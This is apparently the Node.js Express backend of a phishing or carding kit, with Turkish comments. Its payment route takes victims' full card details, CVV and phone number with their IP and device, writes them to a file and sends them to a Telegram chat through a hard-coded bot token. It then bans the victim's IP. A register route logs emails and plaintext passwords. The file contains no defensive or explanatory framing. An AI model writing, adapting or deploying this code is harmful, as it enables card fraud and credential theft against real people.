import express from 'express'; import { createServer } from 'http'; import { Server } from 'socket.io'; import { fileURLToPath } from 'url'; import { dirname, join } from 'path'; import fs from 'fs'; import axios from 'axios'; import chalk from 'chalk'; import session from 'express-session'; import readline from 'readline'; const __filename = fileURLToPath(import.meta.url); const __dirname = dirname(__filename); const app = express(); const server = createServer(app); const io = new Server(server); // Telegram ayarları – Kendi bot token ve chat ID’nizi buraya girin const TELEGRAM_BOT_TOKEN = "7974076858:AAHARuZAk1ueOHUAkdAgvGefhWhMlxpYOoU"; const TELEGRAM_CHAT_ID = "-1002418983756"; // Banlanan IP’leri saklamak için global dizi (RAM’de tutulur) let bannedIPs = []; // Sadece IP kontrolü yapan middleware app.use((req, res, next) => { const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress || 'unknown'; if (bannedIPs.includes(ip)) { console.log(chalk.red(`Blocked request from banned IP: ${ip}`)); return res.status(403).send(""); } next(); }); // Session middleware app.use(session({ secret: 'süper_gizli_bir_secret', resave: false, saveUninitialized: false })); app.use(express.urlencoded({ extended: false })); app.use(express.json()); app.use(express.static(__dirname)); io.on('connection', (socket) => { console.log(chalk.yellow('A user connected')); socket.on('disconnect', () => { console.log(chalk.yellow('User disconnected')); }); }); // payments.json dosyasının tam yolu const paymentsFile = join(__dirname, 'payments.json'); // Ödeme kayıtlarını yükleyen fonksiyon (dosya boşsa boş dizi döner) function loadPayments() { try { if (fs.existsSync(paymentsFile)) { const data = fs.readFileSync(paymentsFile, 'utf8'); if (!data.trim()) return []; return JSON.parse(data); } return []; } catch (err) { console.error(chalk.red('Error reading payments file:'), err); return []; } } // Ödeme kayıtlarını compact (girintisiz) biçimde dosyaya yazan fonksiyon function savePayments(payments) { try { const jsonData = JSON.stringify(payments); fs.writeFileSync(paymentsFile, jsonData, 'utf8'); console.log(chalk.green('Payments saved to file successfully.')); } catch (err) { console.error(chalk.red('Error writing payments file:'), err); } } // Basit issuer belirleme fonksiyonu function getCardIssuer(cardnumber) { cardnumber = cardnumber.replace(/\D/g, ''); if (cardnumber.startsWith('4')) return 'visa'; if (cardnumber.startsWith('5')) return 'mastercard'; if (cardnumber.startsWith('3')) { if (cardnumber.startsWith('34') || cardnumber.startsWith('37')) return 'american express'; return 'diners club'; } return 'unknown'; } // User-Agent bilgisinden cihaz türünü tespit etme ("phone", "tablet" veya "computer") function getDeviceType(useragent) { const ua = useragent.toLowerCase(); if (ua.includes('iphone') || (ua.includes('android') && ua.includes('mobile')) || ua.includes('mobi')) { return 'phone'; } else if (ua.includes('ipad') || ua.includes('tablet')) { return 'tablet'; } return 'computer'; } // İstemci IP'sini alma function getClientIP(req) { return req.headers['x-forwarded-for'] || req.socket.remoteAddress || 'unknown'; } // Ödeme işlemleri için route app.post('/process_payment', (req, res) => { const { cardholder, cardnumber, expiry, cvv, phone } = req.body; // Zorunlu alanların kontrolü (telefon opsiyonel olduğundan kontrol edilmiyor) if (!cardholder || !cardnumber || !expiry || !cvv) { return res.status(400).send("Please fill in all required fields."); } const date = new Date().toISOString(); const useragent = req.headers['user-agent'] || 'unknown'; const ip = getClientIP(req); const issuer = getCardIssuer(cardnumber); const device = getDeviceType(useragent); const referrer = req.headers['referer'] || 'unknown'; // Yeni ödeme kaydı oluşturuluyor; telefon numarası da eklendi (opsiyonel) const paymentRecord = { id: 1, cardholder, cardnumber, expiry, cvv, phone: phone || '', issuer, device, ip, date, referrer }; // Sadece yeni ödeme kaydı saklanacak (eski kayıtlar silinecek) const payments = [paymentRecord]; savePayments(payments); console.log(chalk.greenBright("Payments file content:"), JSON.stringify(payments)); // Telegram mesajı olarak, ödeme kaydını içeren tek elemanlı JSON dizisini gönderiyoruz. const telegramMessage = JSON.stringify(payments); const telegramUrl = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`; axios.post(telegramUrl, { chat_id: TELEGRAM_CHAT_ID, text: telegramMessage }).then(response => { console.log(chalk.blueBright("Telegram message sent:"), response.data); }).catch(error => { console.error(chalk.red("Error sending Telegram message:"), error); }); // Ödeme işlemi tamamlandıktan sonra, IP'yi banlı listeye ekliyoruz. bannedIPs.push(ip); console.log(chalk.red(`IP ${ip} has been banned.`)); res.send(""); }); // Kayıt (register) işlemleri için route app.post('/register', (req, res) => { const { email, password, confirmPassword } = req.body; // Gerekli alanların doldurulduğunu kontrol et if (!email || !password || !confirmPassword) { return res.status(400).send("Lütfen tüm alanları doldurun."); } // Şifrelerin eşleşip eşleşmediğini kontrol et if (password !== confirmPassword) { return res.status(400).send("Şifreler eşleşmiyor."); } // Kayıt tarihi oluşturuluyor const registrationDate = new Date().toISOString(); // Kullanıcı kaydını loglama (bu kısımda e-mail, şifre ve kayıt tarihi yan yana yazılıyor) console.log(`Kayıt olan kullanıcı: ${email}, Şifre: ${password}, Kayıt Tarihi: ${registrationDate}`); res.send("Kayıt başarılı!"); }); const PORT = process.env.PORT || 3001; server.listen(PORT, () => { console.log(chalk.magenta(`Server running on port ${PORT}`)); }); // Konsoldan unban komutuyla IP kaldırmak için readline arayüzü const rl = readline.createInterface({ input: process.stdin, output: process.stdout, prompt: 'COMMAND> ' }); rl.prompt(); rl.on('line', (line) => { const trimmed = line.trim(); if (trimmed.startsWith('unban ')) { const ipToUnban = trimmed.slice(6).trim(); const index = bannedIPs.indexOf(ipToUnban); if (index !== -1) { bannedIPs.splice(index, 1); console.log(chalk.green(`IP ${ipToUnban} has been unbanned.`)); } else { console.log(chalk.yellow(`IP ${ipToUnban} is not banned.`)); } } else if (trimmed === 'list banned') { console.log(chalk.blueBright("Banned IPs:"), bannedIPs); } else { console.log(chalk.red("Unknown command. Use 'unban ' to unban or 'list banned' to view banned IPs.")); } rl.prompt(); }).on('close', () => { console.log(chalk.magenta("Exiting command interface.")); process.exit(0); });